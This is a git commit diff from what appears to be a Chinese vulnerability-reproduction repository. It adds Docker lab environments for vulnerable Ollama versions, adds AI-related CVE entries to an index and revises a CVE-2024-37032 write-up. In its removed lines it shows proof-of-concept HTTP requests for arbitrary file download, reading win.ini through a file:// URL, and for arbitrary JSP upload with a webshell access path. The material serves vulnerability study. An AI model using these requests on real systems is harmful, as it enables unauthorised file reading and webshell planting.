||||||
icon_hash="-911494769"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意文件下载 ✅
|
|
||||||
|
|
||||||
验证POC，token 为 URL md5：
|
|
||||||
|
|
||||||
```
|
|
||||||
/eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意文件上传 ✅
|
|
||||||
|
|
||||||
发送请求包上传文件：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /eps/resourceOperations/upload.action HTTP/1.1
|
|
||||||
Host:
|
|
||||||
|
|
||||||
------WebKitFormBoundaryTJyhtTNqdMNLZLhj
|
|
||||||
Content-Disposition: form-data; name="fileUploader";filename="test.jsp"
|
|
||||||
Content-Type: image/jpeg
|
|
||||||
|
|
||||||
<%out.print("hello");%>
|
|
||||||
------WebKitFormBoundaryTJyhtTNqdMNLZLhj--
|
|
||||||
```
|
|
||||||
|
|
||||||
访问webshell：
|
|
||||||
|
|
||||||
```
|
|
||||||
/eps/upload/769badc8ef5944da804a4ca3c8ecafb0.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
@ -4,11 +4,6 @@
|
|||||||
|
|
||||||
## 0x01 项目导航
|
## 0x01 项目导航
|
||||||
|
|
||||||
- CHECKLIST
|
|
||||||
|
|
||||||
* Nacos 漏洞 Checklist
|
|
||||||
* SmartBi 漏洞 Checklist
|
|
||||||
* 安全设备漏洞 Checklist
|
|
||||||
- CMS漏洞
|
- CMS漏洞
|
||||||
|
|
||||||
* 74cms v4.2.1 v4.2.129 后台getshell漏洞
|
* 74cms v4.2.1 v4.2.129 后台getshell漏洞
|
||||||
@ -737,6 +732,9 @@
|
|||||||
* VMware vCenter Server 远程代码执行漏洞 CVE-2021-21972
|
* VMware vCenter Server 远程代码执行漏洞 CVE-2021-21972
|
||||||
- 人工智能漏洞
|
- 人工智能漏洞
|
||||||
|
|
||||||
|
* Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568
|
||||||
|
* Ollama 文件存在性泄露漏洞 CVE-2024-39719
|
||||||
|
* Ollama 文件存在性泄露漏洞 CVE-2024-39722
|
||||||
* Ollama 目录遍历致代码执行漏洞 CVE-2024-37032
|
* Ollama 目录遍历致代码执行漏洞 CVE-2024-37032
|
||||||
- 其他漏洞
|
- 其他漏洞
|
||||||
|
|
||||||
|
|||||||
11
base/ollama/0.1.33/docker-compose.yml
Normal file
11
base/ollama/0.1.33/docker-compose.yml
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
ollama:
|
||||||
|
image: ollama/ollama:0.1.33
|
||||||
|
container_name: ollama
|
||||||
|
volumes:
|
||||||
|
- ollama:/root/.ollama
|
||||||
|
ports:
|
||||||
|
- "11434:11434"
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
ollama:
|
||||||
11
base/ollama/0.1.45/docker-compose.yml
Normal file
11
base/ollama/0.1.45/docker-compose.yml
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
ollama:
|
||||||
|
image: ollama/ollama:0.1.45
|
||||||
|
container_name: ollama
|
||||||
|
volumes:
|
||||||
|
- ollama:/root/.ollama
|
||||||
|
ports:
|
||||||
|
- "11434:11434"
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
ollama:
|
||||||
11
base/ollama/0.3.14/docker-compose.yml
Normal file
11
base/ollama/0.3.14/docker-compose.yml
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
ollama:
|
||||||
|
image: ollama/ollama:0.3.14
|
||||||
|
container_name: ollama
|
||||||
|
volumes:
|
||||||
|
- ollama:/root/.ollama
|
||||||
|
ports:
|
||||||
|
- "11434:11434"
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
ollama:
|
||||||
@ -22,10 +22,26 @@ Ollama < 0.1.34
|
|||||||
|
|
||||||
## 环境搭建
|
## 环境搭建
|
||||||
|
|
||||||
Docker 启动 Ollama 0.1.33 服务：
|
docker-compose.yml
|
||||||
|
|
||||||
```
|
```
|
||||||
docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33
|
services:
|
||||||
|
ollama:
|
||||||
|
image: ollama/ollama:0.1.33
|
||||||
|
container_name: ollama
|
||||||
|
volumes:
|
||||||
|
- ollama:/root/.ollama
|
||||||
|
ports:
|
||||||
|
- "11434:11434"
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
ollama:
|
||||||
|
```
|
||||||
|
|
||||||
|
执行如下命令启动 Ollama 0.1.33 服务:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker compose up -d
|
||||||
```
|
```
|
||||||
|
|
||||||
环境启动后，访问 `http://your-ip:11434/`，此时 Ollma 0.1.33 已经成功运行。
|
环境启动后，访问 `http://your-ip:11434/`，此时 Ollma 0.1.33 已经成功运行。
|
||||||
@ -85,4 +101,4 @@ https://github.com/Bi0x/CVE-2024-37032
|
|||||||
|
|
||||||
## 漏洞修复
|
## 漏洞修复
|
||||||
|
|
||||||
官方已经发布 0.1.34 修复该漏洞，建议升级至 0.1.34 及其以上版本。
|
- 升级至最新版本 https://github.com/ollama/ollama
|
||||||
|
|||||||
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|
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Reference in New Issue
Block a user